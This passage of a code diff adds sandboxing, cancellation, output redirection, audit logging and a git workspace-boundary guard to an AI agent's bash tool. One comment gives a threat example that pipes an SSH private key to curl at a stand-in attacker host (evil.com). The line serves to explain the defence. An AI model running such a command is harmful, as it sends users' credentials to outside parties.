+ // session log keeps the full text for forensic replay.
106
+ writeAuditEvent({
107
+ event: 'permission_denied',
108
+ sessionId: ctx.session.id,
109
+ workspaceRoot: ctx.root,
110
+ data: {
111
+ tool: 'bash',
112
+ source,
113
+ decision: decision.decision,
114
+ reason: decision.reason,
115
+ cmdPreview: cmd.slice(0, 200),
116
+ },
117
+ });
72
118
  return {
73
119
  stdout: '',
74
120
  stderr: `Permission denied: ${decision.reason}`,
@@ -76,10 +122,27 @@ export async function bashTool(input, ctx) {
76
122
  nextCwd: ctx.lastBashCwd ?? ctx.root,
77
123
  truncated: false,
78
124
  timedOut: false,
125
+ cancelled: false,
126
+ };
127
+ }
128
+ // CEO P1 #25 — pre-spawn cancellation check. Fires
129
+ // AFTER the permission gate so a cancelled brief never reaches
130
+ // /bin/sh even when the command would have been allowed. Mirrors
131
+ // the `gateOnCancellation` pattern from file-tools.ts.
132
+ if (ctx.cancellation?.isAborted === true) {
133
+ const reason = 'operator_aborted: bash refused before spawn';
134
+ emitEvent(ctx.session, 'bash.cancelled', { cmd, phase: 'pre_spawn' });
135
+ recordToolResult(ctx.session, toolCallId, 'cancelled', reason);
136
+ return {
137
+ stdout: '',
138
+ stderr: reason,
139
+ exitCode: 130,
140
+ nextCwd: ctx.lastBashCwd ?? ctx.root,
141
+ truncated: false,
142
+ timedOut: false,
143
+ cancelled: true,
79
144
  };
80
145
  }
81
- // Cwd carry-over decision (also re-checked post-run).
82
- const startCwd = resolveStartCwd(input.cwd ?? ctx.lastBashCwd, ctx.root, additionalDirectories);
83
146
  // Background job branch.
84
147
  if (input.background === true) {
85
148
  return runBackground({ cmd, ctx, toolCallId, startCwd, additionalDirectories });
@@ -87,12 +150,93 @@ export async function bashTool(input, ctx) {
87
150
  // Foreground branch with timeout watchdog.
88
151
  const timeoutMs = sanitizeTimeout(input.timeoutMs);
89
152
  const childEnv = buildChildEnv();
90
- // POSIX-only `/bin/sh -c <cmd>`. The ADR-0056 non-goals explicitly
153
+ // Pugi backlog P2 redirect path. When the caller opted into
154
+ // stdout redirect, we open a write-only fd at the resolved log
155
+ // path and hand it directly to the child's stdio array so the
156
+ // child writes through the kernel pipe → file fd without buffering
157
+ // hundreds of MB in the Node process. The buffered code path below
158
+ // is the fallback for callers that did not opt in.
159
+ let redirectState = null;
160
+ if (input.redirect !== undefined) {
161
+ try {
162
+ const target = resolveRedirectTarget({
163
+ workspaceRoot: ctx.root,
164
+ sessionId: ctx.session.id,
165
+ toolCallId,
166
+ command: cmd,
167
+ override: input.redirect.path,
168
+ });
169
+ const { fd, tempPath } = openRedirectFile(target);
170
+ redirectState = {
171
+ target,
172
+ fd,
173
+ tempPath,
174
+ tailLines: normalizeTailLines(input.redirect.tailLines),
175
+ };
176
+ }
177
+ catch (error) {
178
+ // Bad caller-supplied path (absolute, traversal escape). Fall
179
+ // back to a structured error rather than crashing the engine
180
+ // loop. Mirrors how the permission gate surfaces a refusal —
181
+ // the model can adjust the redirect spec and retry.
182
+ const reason = `redirect refused: ${error.message}`;
183
+ recordToolResult(ctx.session, toolCallId, 'error', reason);
184
+ return {
185
+ stdout: '',
186
+ stderr: reason,
187
+ exitCode: 126,
188
+ nextCwd: ctx.lastBashCwd ?? ctx.root,
189
+ truncated: false,
190
+ timedOut: false,
191
+ cancelled: false,
192
+ };
193
+ }
194
+ }
195
+ // POSIX-only `/bin/sh -c <cmd>`. The non-goals explicitly
91
196
  // exclude Windows for M1.
92
- const child = spawn('/bin/sh', ['-c', cmd], {
197
+ //
198
+ // stdio layout:
199
+ // - default: ['ignore', 'pipe', 'pipe'] — buffer chunks in
200
+ // Node so the post-run capToCombined can size them
201
+ // to the report cap.
202
+ // - redirect: ['ignore', fd, fd] — kernel pipes stdout+stderr
203
+ // straight into the log file fd. No Node-side
204
+ // buffering, no truncation marker, no in-memory
205
+ // ceiling. The tail-reader fishes the trailing
206
+ // lines out of the file after the child exits.
207
+ const stdioLayout = redirectState !== null
208
+ ? ['ignore', redirectState.fd, redirectState.fd]
209
+ : ['ignore', 'pipe', 'pipe'];
210
+ // Phase 1 #302 — OS sandbox wrap. The resolver returns one of
211
+ // three shapes; `blocked` short-circuits via the same envelope as
212
+ // a permission denial so the model sees a structured refusal +
213
+ // the operator sees install hints in stderr. Passthrough returns
214
+ // the legacy `/bin/sh -c <cmd>` argv unchanged so existing flows
215
+ // (mode=`none`, `PUGI_SANDBOX_DISABLE=1`) are byte-identical.
216
+ const sandboxResolution = resolveBashSandbox(cmd, ctx);
217
+ if (sandboxResolution.kind === 'blocked') {
218
+ const reason = renderSandboxBlockMessage(sandboxResolution);
219
+ recordToolResult(ctx.session, toolCallId, 'error', reason);
220
+ if (redirectState !== null) {
221
+ try {
222
+ closeSync(redirectState.fd);
223
+ }
224
+ catch { /* already closed */ }
225
+ }
226
+ return {
227
+ stdout: '',
228
+ stderr: reason,
229
+ exitCode: 126,
230
+ nextCwd: ctx.lastBashCwd ?? ctx.root,
231
+ truncated: false,
232
+ timedOut: false,
233
+ cancelled: false,
234
+ };
235
+ }
236
+ const child = spawn(sandboxResolution.argv[0], sandboxResolution.argv.slice(1), {
93
237
  cwd: startCwd,
94
238
  env: childEnv,
95
- stdio: ['ignore', 'pipe', 'pipe'],
239
+ stdio: stdioLayout,
96
240
  detached: false,
97
241
  });
98
242
  const stdoutChunks = [];
@@ -106,6 +250,12 @@ export async function bashTool(input, ctx) {
106
250
  // before the timeout watchdog fires, we enforce a live ceiling
107
251
  // (BASH_LIVE_OUTPUT_CAP_BYTES) and SIGTERM the child when crossed.
108
252
  let truncatedMidStream = false;
253
+ // CEO P1 #25 — mid-stream operator cancellation. The
254
+ // listener registered against the CancellationToken below flips
255
+ // this flag and SIGTERMs the child. The close handler reads it to
256
+ // decide between `cancelled` (operator abort) and `timedOut`
257
+ // (watchdog).
258
+ let cancelledMidStream = false;
109
259
  const enforceLiveCap = () => {
110
260
  if (truncatedMidStream)
111
261
  return;
@@ -119,21 +269,158 @@ export async function bashTool(input, ctx) {
119
269
  // child already exited; the close handler will run
120
270
  }
121
271
  };
122
- child.stdout?.on('data', (chunk) => {
123
- if (truncatedMidStream)
124
- return;
125
- stdoutChunks.push(chunk);
126
- stdoutBytes += chunk.length;
127
- enforceLiveCap();
128
- });
129
- child.stderr?.on('data', (chunk) => {
130
- if (truncatedMidStream)
131
- return;
132
- stderrChunks.push(chunk);
133
- stderrBytes += chunk.length;
134
- enforceLiveCap();
135
- });
272
+ // CEO P1 #25 — live stream callback. When the REPL
273
+ // host wires `onStreamChunk`, we forward each stdout/stderr chunk
274
+ // in real time so the conversation pane / tool-stream pane paint
275
+ // bytes as they arrive instead of waiting for the child to exit.
276
+ // We invoke the callback inside a try/catch so a buggy sink
277
+ // (renderer crash, assertion error) never escalates to killing
278
+ // the bash dispatch. The buffered path below still captures the
279
+ // chunk so the model + audit trail stay consistent regardless of
280
+ // renderer health.
281
+ const onStreamChunk = ctx.onStreamChunk;
282
+ const emitStreamChunk = onStreamChunk
283
+ ? (stream, chunk) => {
284
+ try {
285
+ onStreamChunk({ stream, data: chunk.toString('utf8') });
286
+ }
287
+ catch {
288
+ // Sink crash — swallow.
289
+ }
290
+ }
291
+ : null;
292
+ // When redirect is on, child.stdout / child.stderr are null
293
+ // because the spawn handed the log-file fd in directly. The data
294
+ // listeners only fire on the buffered path, which is exactly what
295
+ // we want — the redirect contract is "no in-memory buffer, full
296
+ // output goes to disk".
297
+ if (redirectState === null) {
298
+ child.stdout?.on('data', (chunk) => {
299
+ if (truncatedMidStream || cancelledMidStream)
300
+ return;
301
+ stdoutChunks.push(chunk);
302
+ stdoutBytes += chunk.length;
303
+ if (emitStreamChunk)
304
+ emitStreamChunk('stdout', chunk);
305
+ enforceLiveCap();
306
+ });
307
+ child.stderr?.on('data', (chunk) => {
308
+ if (truncatedMidStream || cancelledMidStream)
309
+ return;
310
+ stderrChunks.push(chunk);
311
+ stderrBytes += chunk.length;
312
+ if (emitStreamChunk)
313
+ emitStreamChunk('stderr', chunk);
314
+ enforceLiveCap();
315
+ });
316
+ }
317
+ // CEO P1 #25 — wire the cancellation token to SIGTERM. We track
318
+ // the detach handle so a successful run releases the listener
319
+ // instead of leaving it pinned to a long-lived REPL
320
+ // CancellationToken (same anti-leak pattern as
321
+ // native-pugi.ts:262).
322
+ let detachCancelListener;
323
+ if (ctx.cancellation && !ctx.cancellation.isAborted) {
324
+ const onAbort = () => {
325
+ if (cancelledMidStream)
326
+ return;
327
+ cancelledMidStream = true;
328
+ emitEvent(ctx.session, 'bash.cancelled', { cmd, phase: 'mid_stream' });
329
+ try {
330
+ child.kill('SIGTERM');
331
+ }
332
+ catch {
333
+ // child already exited; close handler will run
334
+ }
335
+ // SIGKILL escalation if the child does not honour SIGTERM
336
+ // within the grace window. Mirrors the timeout watchdog's
337
+ // two-phase shutdown.
338
+ setTimeout(() => {
339
+ if (child.exitCode !== null || child.signalCode !== null)
340
+ return;
341
+ try {
342
+ child.kill('SIGKILL');
343
+ }
344
+ catch {
345
+ // gone between the check and the signal
346
+ }
347
+ }, BASH_SIGKILL_GRACE_MS).unref();
348
+ };
349
+ detachCancelListener = ctx.cancellation.onAbort(onAbort);
350
+ }
136
351
  const timeoutOutcome = await waitWithTimeout(child, timeoutMs);
352
+ // Detach the cancellation listener on completion so a long-lived
353
+ // REPL token does not retain a reference to the dead child + this
354
+ // closure.
355
+ if (detachCancelListener) {
356
+ try {
357
+ detachCancelListener();
358
+ }
359
+ catch { /* listener already drained */ }
360
+ }
361
+ // Pugi backlog P2 — redirect path. Close the log fd, rename
362
+ // the temp file into place, and return the envelope before the
363
+ // buffered-path code paths run. We do this for every exit shape
364
+ // (success, non-zero, timeout, cancel) so the log file always
365
+ // lands on disk and the tail reflects whatever the child produced
366
+ // before termination. The cancel/timeout branches still surface
367
+ // the appropriate exitCode through the envelope; the operator
368
+ // discovers the failure via `tail` + `exitCode`, not via the
369
+ // legacy stdout/stderr strings.
370
+ if (redirectState !== null) {
371
+ // Close our copy of the fd before rename so the inode is no
372
+ // longer held open by the parent process. The child's stdio
373
+ // already inherited a separate fd; closing ours does not affect
374
+ // the child's writes that already happened.
375
+ try {
376
+ closeSync(redirectState.fd);
377
+ }
378
+ catch {
379
+ // already closed (shouldn't happen on the happy path)
380
+ }
381
+ try {
382
+ finaliseRedirectFile(redirectState.target, redirectState.tempPath);
383
+ }
384
+ catch {
385
+ // best-effort — the temp file still exists on disk for the
386
+ // operator to inspect even if the rename failed.
387
+ }
388
+ const redirectExitCode = cancelledMidStream
389
+ ? 130
390
+ : timeoutOutcome.timedOut
391
+ ? 124
392
+ : timeoutOutcome.exitCode;
393
+ const envelope = applyRedirect({
394
+ target: redirectState.target,
395
+ exitCode: redirectExitCode,
396
+ tailLines: redirectState.tailLines,
397
+ });
398
+ const nextCwdRedirect = computeNextCwd(cmd, startCwd, ctx.root, additionalDirectories, ctx.session);
399
+ // Emit the same lifecycle events the buffered path emits so the
400
+ // session audit trail is symmetric across redirect vs non-redirect
401
+ // dispatches.
402
+ if (cancelledMidStream) {
403
+ recordToolResult(ctx.session, toolCallId, 'cancelled', `operator_aborted: bash killed mid-stream (redirect=${envelope.logPath})`);
404
+ }
405
+ else if (timeoutOutcome.timedOut) {
406
+ emitEvent(ctx.session, 'bash.timeout', { cmd, timeoutMs });
407
+ recordToolResult(ctx.session, toolCallId, 'error', `bash timed out after ${timeoutMs}ms (redirect=${envelope.logPath})`);
408
+ }
409
+ else {
410
+ recordToolResult(ctx.session, toolCallId, 'success', `bash exit=${redirectExitCode} redirect=${envelope.logPath}`);
411
+ }
412
+ return {
413
+ stdout: envelope.stdout,
414
+ stderr: envelope.stderr,
415
+ exitCode: redirectExitCode,
416
+ nextCwd: nextCwdRedirect,
417
+ truncated: envelope.truncated,
418
+ timedOut: timeoutOutcome.timedOut,
419
+ cancelled: cancelledMidStream,
420
+ logPath: envelope.logPath,
421
+ tail: envelope.tail,
422
+ };
423
+ }
137
424
  const stdoutFull = Buffer.concat(stdoutChunks).toString('utf8');
138
425
  const stderrFull = Buffer.concat(stderrChunks).toString('utf8');
139
426
  const combinedBytes = stdoutBytes + stderrBytes;
@@ -158,6 +445,25 @@ export async function bashTool(input, ctx) {
158
445
  stdoutOut = capToCombined(stdoutFull, stderrFull).stdout;
159
446
  stderrOut = capToCombined(stdoutFull, stderrFull).stderr;
160
447
  }
448
+ // CEO P1 #25 — cancellation wins races against timeout / cap
449
+ // overflow. The token already aborted by the time the close
450
+ // handler fires; we distinguish operator-driven termination from
451
+ // the watchdog so the REPL transcript reads "Aborted." rather
452
+ // than "Timed out."
453
+ if (cancelledMidStream) {
454
+ const reason = 'operator_aborted: bash killed mid-stream';
455
+ recordToolResult(ctx.session, toolCallId, 'cancelled', reason);
456
+ return {
457
+ stdout: stdoutOut,
458
+ stderr: stderrOut === '' ? reason : `${stderrOut}\n${reason}`,
459
+ exitCode: 130,
460
+ artifactRef,
461
+ nextCwd,
462
+ truncated,
463
+ timedOut: false,
464
+ cancelled: true,
465
+ };
466
+ }
161
467
  if (truncatedMidStream) {
162
468
  // We killed the child because output cap exceeded mid-stream.
163
469
  // Report that as the failure cause rather than as a timeout —
@@ -176,6 +482,7 @@ export async function bashTool(input, ctx) {
176
482
  nextCwd,
177
483
  truncated: true,
178
484
  timedOut: false,
485
+ cancelled: false,
179
486
  };
180
487
  }
181
488
  if (timeoutOutcome.timedOut) {
@@ -189,6 +496,7 @@ export async function bashTool(input, ctx) {
189
496
  nextCwd,
190
497
  truncated,
191
498
  timedOut: true,
499
+ cancelled: false,
192
500
  };
193
501
  }
194
502
  const exitCode = timeoutOutcome.exitCode;
@@ -201,6 +509,7 @@ export async function bashTool(input, ctx) {
201
509
  nextCwd,
202
510
  truncated,
203
511
  timedOut: false,
512
+ cancelled: false,
204
513
  };
205
514
  }
206
515
  function sanitizeTimeout(value) {
@@ -211,6 +520,122 @@ function sanitizeTimeout(value) {
211
520
  // cannot wedge the engine loop.
212
521
  return Math.min(value, 15 * 60 * 1000);
213
522
  }
523
+ function resolveBashSandbox(cmd, ctx) {
524
+ const baseArgv = ['/bin/sh', '-c', cmd];
525
+ // Operator break-glass — log the disable to the audit trail so SOC
526
+ // sees a structured record, then degrade to passthrough.
527
+ if (isSandboxDisabled(process.env)) {
528
+ writeAuditEvent({
529
+ event: 'sandbox_block',
530
+ sessionId: ctx.session.id,
531
+ workspaceRoot: ctx.root,
532
+ data: {
533
+ tool: 'bash',
534
+ outcome: 'disabled_by_env',
535
+ env: SANDBOX_DISABLE_ENV,
536
+ cmdPreview: cmd.slice(0, 200),
537
+ },
538
+ });
539
+ return {
540
+ kind: 'passthrough',
541
+ argv: baseArgv,
542
+ description: `sandbox: disabled via ${SANDBOX_DISABLE_ENV}=1`,
543
+ reason: 'env_disabled',
544
+ };
545
+ }
546
+ const configured = (ctx.settings.bash?.sandbox ?? 'none');
547
+ if (configured === 'none') {
548
+ return {
549
+ kind: 'passthrough',
550
+ argv: baseArgv,
551
+ description: 'sandbox: none (passthrough)',
552
+ reason: 'mode_none',
553
+ };
554
+ }
555
+ const sandboxOpts = buildSandboxOpts(ctx);
556
+ try {
557
+ const adapter = makeAdapter(configured);
558
+ const probed = adapter.probe(sandboxOpts);
559
+ if (!probed.armed) {
560
+ // Fail-closed: the operator configured a sandbox but the host
561
+ // can't honour it. Refusing the spawn is the security promise.
562
+ writeAuditEvent({
563
+ event: 'sandbox_block',
564
+ sessionId: ctx.session.id,
565
+ workspaceRoot: ctx.root,
566
+ data: {
567
+ tool: 'bash',
568
+ outcome: 'unavailable',
569
+ mode: configured,
570
+ reason: probed.reason ?? 'unknown',
571
+ details: probed.details,
572
+ cmdPreview: cmd.slice(0, 200),
573
+ },
574
+ });
575
+ return {
576
+ kind: 'blocked',
577
+ mode: configured,
578
+ reason: probed.reason ?? `sandbox ${configured} not armed`,
579
+ ...(probed.installHint ? { installHint: probed.installHint } : {}),
580
+ };
581
+ }
582
+ const wrapped = adapter.wrap({ command: '/bin/sh', args: ['-c', cmd] }, sandboxOpts);
583
+ return {
584
+ kind: 'wrapped',
585
+ argv: [wrapped.command, ...wrapped.args],
586
+ description: wrapped.description,
587
+ mode: configured,
588
+ posture: sandboxOpts.posture ?? 'strict',
589
+ };
590
+ }
591
+ catch (err) {
592
+ // `makeAdapter` throws for unknown / docker; treat as block.
593
+ const reason = err.message;
594
+ writeAuditEvent({
595
+ event: 'sandbox_block',
596
+ sessionId: ctx.session.id,
597
+ workspaceRoot: ctx.root,
598
+ data: {
599
+ tool: 'bash',
600
+ outcome: 'adapter_error',
601
+ mode: configured,
602
+ reason,
603
+ cmdPreview: cmd.slice(0, 200),
604
+ },
605
+ });
606
+ return { kind: 'blocked', mode: configured, reason };
607
+ }
608
+ }
609
+ function buildSandboxOpts(ctx) {
610
+ const sandboxCfg = ctx.settings.sandbox;
611
+ const extraWritePaths = [
612
+ join(homedir(), '.pugi'),
613
+ '/tmp',
614
+ ];
615
+ const opts = {
616
+ workspaceRoot: ctx.root,
617
+ extraWritePaths,
618
+ posture: sandboxCfg?.posture ?? 'strict',
619
+ };
620
+ if (sandboxCfg?.allowNetwork !== undefined) {
621
+ opts.allowNetwork = sandboxCfg.allowNetwork;
622
+ }
623
+ if (sandboxCfg?.extraReadPaths && sandboxCfg.extraReadPaths.length > 0) {
624
+ opts.extraReadPaths = sandboxCfg.extraReadPaths;
625
+ }
626
+ return opts;
627
+ }
628
+ /**
629
+ * Render the fail-closed refusal payload for a blocked sandbox. The
630
+ * bash tool surfaces this verbatim to the model + audit trail so the
631
+ * operator sees exactly which adapter refused and how to remediate.
632
+ */
633
+ function renderSandboxBlockMessage(resolution) {
634
+ const hint = resolution.installHint ? `\nHint: ${resolution.installHint}` : '';
635
+ return (`Sandbox refused: bash.sandbox = "${resolution.mode}" is configured but not armed.\n` +
636
+ `Reason: ${resolution.reason}${hint}\n` +
637
+ `Break-glass: set ${SANDBOX_DISABLE_ENV}=1 only for diagnosis; restore as soon as possible.`);
638
+ }
214
639
  function buildChildEnv() {
215
640
  const childEnv = {};
216
641
  const SAFE_ENV_ALLOW = new Set([
@@ -383,7 +808,25 @@ async function waitWithTimeout(child, timeoutMs) {
383
808
  function runBackground(input) {
384
809
  const { cmd, ctx, toolCallId, startCwd } = input;
385
810
  const childEnv = buildChildEnv();
386
- const child = spawn('/bin/sh', ['-c', cmd], {
811
+ // Phase 1 #302 — background spawn also goes through the sandbox.
812
+ // Threat: a backgrounded `cat ~/.ssh/id_rsa | curl evil.com` is the
813
+ // exact scenario the wrap is supposed to defend against. Block
814
+ // fail-closed when the configured mode can't arm.
815
+ const sandboxResolution = resolveBashSandbox(cmd, ctx);
816
+ if (sandboxResolution.kind === 'blocked') {
817
+ const reason = renderSandboxBlockMessage(sandboxResolution);
818
+ recordToolResult(ctx.session, toolCallId, 'error', reason);
819
+ return {
820
+ stdout: '',
821
+ stderr: reason,
822
+ exitCode: 126,
823
+ nextCwd: ctx.lastBashCwd ?? ctx.root,
824
+ truncated: false,
825
+ timedOut: false,
826
+ cancelled: false,
827
+ };
828
+ }
829
+ const child = spawn(sandboxResolution.argv[0], sandboxResolution.argv.slice(1), {
387
830
  cwd: startCwd,
388
831
  env: childEnv,
389
832
  stdio: 'ignore',
@@ -430,10 +873,11 @@ function runBackground(input) {
430
873
  nextCwd: ctx.lastBashCwd ?? ctx.root,
431
874
  truncated: false,
432
875
  timedOut: false,
876
+ cancelled: false,
433
877
  };
434
878
  }
435
879
  /**
436
- * Legacy export preserved for α5.2 callers / tests. Delegates to the
880
+ * Legacy export preserved for callers / tests. Delegates to the
437
881
  * new JobRegistry and projects entries back into the historical
438
882
  * `PugiJob` shape.
439
883
  */
@@ -442,7 +886,7 @@ export function listJobs() {
442
886
  return entries.map(entryToLegacyJob);
443
887
  }
444
888
  /**
445
- * Legacy export preserved for α5.2 callers / tests. Delegates to the
889
+ * Legacy export preserved for callers / tests. Delegates to the
446
890
  * new JobRegistry. Returns the same `{ killed, reason? }` shape so the
447
891
  * existing bash-tool test suite continues to pass without an
448
892
  * end-to-end rewrite.
@@ -565,6 +1009,160 @@ function readRegistryEntriesSync() {
565
1009
  return [];
566
1010
  }
567
1011
  }
1012
+ /**
1013
+ * Workspace-git-boundary guard (CEO P0 #51).
1014
+ *
1015
+ * Background: CEO live REPL surfaced a scenario where the customer
1016
+ * workspace dir was created INSIDE another git repository (the Pugi
1017
+ * monorepo itself). The model emitted `git init && git add . && git
1018
+ * commit -m ...` against that workspace. The workspace had no `.git`
1019
+ * of its own so git silently walked up to the outer repo's `.git` and
1020
+ * committed the customer's files directly to the monorepo's main
1021
+ * branch. Had the outer remote been FF-permissive, those files would
1022
+ * have pushed to production. This is a customer-of-customer leak.
1023
+ *
1024
+ * The guard: when the agent emits a mutating git op (add / commit /
1025
+ * push / rebase / reset / checkout) and the effective git toplevel
1026
+ * (`git -C $cwd rev-parse --show-toplevel`) sits OUTSIDE the workspace
1027
+ * root, block the command. The model is steered (via the persona
1028
+ * prompt) to run `git init` first; the guard is the defensive net so
1029
+ * a careless model emission cannot cross the boundary.
1030
+ *
1031
+ * Exported so the spec can exercise the predicate in isolation without
1032
+ * having to drive the whole bash tool.
1033
+ */
1034
+ export const GIT_BOUNDARY_BLOCK_PREFIX = 'git boundary escape:';
1035
+ /**
1036
+ * Subcommands we treat as definitely mutating for the boundary check.
1037
+ * We intentionally OMIT subcommands that have common read-only modes
1038
+ * (`branch --list`, `tag --list`, `stash list`, `remote -v`) to keep
1039
+ * the guard precise. The CEO P0 #51 leak vector is files written to
1040
+ * an ancestor repo's working tree / refs, which the included set
1041
+ * fully covers. The omitted subcommands can still create refs in the
1042
+ * outer .git, but they do not move customer files into the outer
1043
+ * repo's commit graph, so the leak severity is lower and the
1044
+ * ergonomic cost of false positives on `--list` flags is higher.
1045
+ */
1046
+ const MUTATING_GIT_SUBCOMMANDS = new Set([
1047
+ 'add',
1048
+ 'commit',
1049
+ 'push',
1050
+ 'rebase',
1051
+ 'reset',
1052
+ 'checkout',
1053
+ 'merge',
1054
+ 'restore',
1055
+ 'switch',
1056
+ 'cherry-pick',
1057
+ 'am',
1058
+ 'apply',
1059
+ 'clean',
1060
+ 'rm',
1061
+ 'mv',
1062
+ ]);
1063
+ /**
1064
+ * Inspect a shell command for mutating git operations. Returns the
1065
+ * first matching subcommand (e.g. 'commit') or null when none of the
1066
+ * components are mutating git ops.
1067
+ *
1068
+ * We split on `&&`, `||`, `;`, `|` so a compound like
1069
+ * `mkdir foo && cd foo && git add .` is correctly flagged on the
1070
+ * trailing git component.
1071
+ */
1072
+ export function detectMutatingGitOp(cmd) {
1073
+ const components = cmd.split(/\s*(?:&&|\|\||;|\|)\s*/);
1074
+ for (const raw of components) {
1075
+ const component = raw.trim();
1076
+ if (component === '')
1077
+ continue;
1078
+ // Strip leading `sudo` wrapper which would otherwise hide the verb.
1079
+ const stripped = component.replace(/^sudo\s+/, '');
1080
+ // Match `git [<global-flags>] <subcommand> ...`. Global flags we
1081
+ // tolerate:
1082
+ // - long flag: `--no-pager`, `--git-dir=.git`
1083
+ // - short flag with attached value: `-C <path>`, `-c <k=v>`
1084
+ // - bare short flag: `-P`
1085
+ // Anything weirder falls through and the predicate returns null,
1086
+ // which means the guard does not fire on that component — safer
1087
+ // to err open here because the destructive classifier and the
1088
+ // outer permission gate are independent defences.
1089
+ const match = stripped.match(/^git(?:\s+(?:--[A-Za-z][A-Za-z0-9-]*(?:=\S+)?|-[CcP](?:\s+\S+)?|-[A-Za-z]+))*\s+([a-z][a-z0-9-]*)\b/);
1090
+ if (!match)
1091
+ continue;
1092
+ const subcommand = match[1];
1093
+ if (subcommand && MUTATING_GIT_SUBCOMMANDS.has(subcommand)) {
1094
+ return subcommand;
1095
+ }
1096
+ }
1097
+ return null;
1098
+ }
1099
+ /**
1100
+ * Resolve the workspace's effective git boundary. Returns:
1101
+ * - the absolute path of the .git toplevel that owns `cwd`
1102
+ * - null when no .git ancestor exists at all (standalone, no repo)
1103
+ *
1104
+ * Pure filesystem walk so the guard does not depend on git being on
1105
+ * PATH. We look for either a `.git` directory or a `.git` file (the
1106
+ * worktree case where `.git` is a pointer file).
1107
+ */
1108
+ export function resolveGitToplevel(cwd) {
1109
+ let dir = cwd;
1110
+ while (true) {
1111
+ const dotGit = join(dir, '.git');
1112
+ if (existsSync(dotGit))
1113
+ return dir;
1114
+ const parent = resolve(dir, '..');
1115
+ if (parent === dir)
1116
+ return null;
1117
+ dir = parent;
1118
+ }
1119
+ }
1120
+ /**
1121
+ * The actual guard. Returns null when the command is allowed; returns
1122
+ * a block descriptor when it should be denied. The block message uses
1123
+ * the literal prefix `git boundary escape:` so callers (and the spec)
1124
+ * can pattern-match.
1125
+ */
1126
+ export function enforceGitBoundary(cmd, startCwd, workspaceRoot) {
1127
+ const subcommand = detectMutatingGitOp(cmd);
1128
+ if (subcommand === null)
1129
+ return null;
1130
+ // Resolve symlinks on both sides so a /var → /private/var macOS
1131
+ // realpath divergence does not produce a false escape.
1132
+ const root = safeRealpath(workspaceRoot);
1133
+ const toplevel = resolveGitToplevel(safeRealpath(startCwd));
1134
+ const resolvedToplevel = toplevel === null ? null : safeRealpath(toplevel);
1135
+ if (resolvedToplevel === root)
1136
+ return null;
1137
+ // Either no .git anywhere (standalone) OR the .git that wins is an
1138
+ // ancestor — both are escape scenarios. Operator must run `git init`
1139
+ // explicitly inside the workspace.
1140
+ if (resolvedToplevel === null) {
1141
+ return {
1142
+ subcommand,
1143
+ resolvedToplevel: null,
1144
+ reason: `${GIT_BOUNDARY_BLOCK_PREFIX} workspace root '${workspaceRoot}' has no .git ` +
1145
+ `and no ancestor repository exists. Run \`git init\` in the workspace first ` +
1146
+ `before \`git ${subcommand}\`.`,
1147
+ };
1148
+ }
1149
+ return {
1150
+ subcommand,
1151
+ resolvedToplevel,
1152
+ reason: `${GIT_BOUNDARY_BLOCK_PREFIX} workspace root '${workspaceRoot}' has no .git; ` +
1153
+ `outer toplevel is '${resolvedToplevel}'. Run \`git init\` in the workspace ` +
1154
+ `first before \`git ${subcommand}\` (otherwise the operation would write to ` +
1155
+ `the ancestor repository, not the workspace).`,
1156
+ };
1157
+ }
1158
+ function safeRealpath(path) {
1159
+ try {
1160
+ return realpathSync(path);
1161
+ }
1162
+ catch {
1163
+ return path;
1164
+ }
1165
+ }
568
1166
  function removeRegistryEntrySync(jobId) {
569
1167
  const path = join(homedir(), '.pugi', 'jobs.json');
570
1168
  const entries = readRegistryEntriesSync().filter((entry) => entry.id !== jobId);
@@ -592,6 +1190,29 @@ export function bashToolSync(input, ctx) {
592
1190
  const additionalDirectories = ctx.additionalDirectories ?? [];
593
1191
  const source = ctx.source ?? 'agent';
594
1192
  const toolCallId = recordToolCall(ctx.session, 'bash', cmd);
1193
+ const startCwd = resolveStartCwd(input.cwd ?? ctx.lastBashCwd, ctx.root, additionalDirectories);
1194
+ // Workspace-git-boundary guard (CEO P0 #51). Fires
1195
+ // BEFORE the permission gate so the structural boundary diagnostic
1196
+ // is the one the operator sees. See the async path for the full
1197
+ // rationale.
1198
+ const boundaryBlock = enforceGitBoundary(cmd, startCwd, ctx.root);
1199
+ if (boundaryBlock !== null) {
1200
+ emitEvent(ctx.session, 'bash.git_boundary_escape', {
1201
+ cmd,
1202
+ workspaceRoot: ctx.root,
1203
+ resolvedToplevel: boundaryBlock.resolvedToplevel ?? null,
1204
+ });
1205
+ recordToolResult(ctx.session, toolCallId, 'error', boundaryBlock.reason);
1206
+ return {
1207
+ stdout: '',
1208
+ stderr: boundaryBlock.reason,
1209
+ exitCode: 126,
1210
+ nextCwd: ctx.lastBashCwd ?? ctx.root,
1211
+ truncated: false,
1212
+ timedOut: false,
1213
+ cancelled: false,
1214
+ };
1215
+ }
595
1216
  const decision = evaluateBashPermission(cmd, ctx.settings.permissions.mode, {
596
1217
  workspaceRoot: ctx.root,
597
1218
  additionalDirectories,
@@ -600,6 +1221,20 @@ export function bashToolSync(input, ctx) {
600
1221
  if (decision.decision !== 'allow') {
601
1222
  const reason = `Permission ${decision.decision}: ${decision.reason}`;
602
1223
  recordToolResult(ctx.session, toolCallId, 'error', reason);
1224
+ // #21: mirror the async-path emission so sync callers
1225
+ // (spawnSync fallback) produce the same tenant-wide audit trail.
1226
+ writeAuditEvent({
1227
+ event: 'permission_denied',
1228
+ sessionId: ctx.session.id,
1229
+ workspaceRoot: ctx.root,
1230
+ data: {
1231
+ tool: 'bash',
1232
+ source,
1233
+ decision: decision.decision,
1234
+ reason: decision.reason,
1235
+ cmdPreview: cmd.slice(0, 200),
1236
+ },
1237
+ });
603
1238
  return {
604
1239
  stdout: '',
605
1240
  stderr: `Permission denied: ${decision.reason}`,
@@ -607,19 +1242,148 @@ export function bashToolSync(input, ctx) {
607
1242
  nextCwd: ctx.lastBashCwd ?? ctx.root,
608
1243
  truncated: false,
609
1244
  timedOut: false,
1245
+ cancelled: false,
1246
+ };
1247
+ }
1248
+ // CEO P1 #25 — sync path observes pre-spawn cancellation too. The
1249
+ // sync path is used by the engine-loop tool-bridge (`bashToolSync`
1250
+ // from tool-bridge.ts:1385); we cannot mid-stream cancel that path
1251
+ // without rewriting spawnSync, but the pre-spawn gate still gives
1252
+ // the operator a quick-exit window between permission and shell
1253
+ // launch.
1254
+ if (ctx.cancellation?.isAborted === true) {
1255
+ const reason = 'operator_aborted: bash refused before spawn';
1256
+ emitEvent(ctx.session, 'bash.cancelled', { cmd, phase: 'pre_spawn_sync' });
1257
+ recordToolResult(ctx.session, toolCallId, 'cancelled', reason);
1258
+ return {
1259
+ stdout: '',
1260
+ stderr: reason,
1261
+ exitCode: 130,
1262
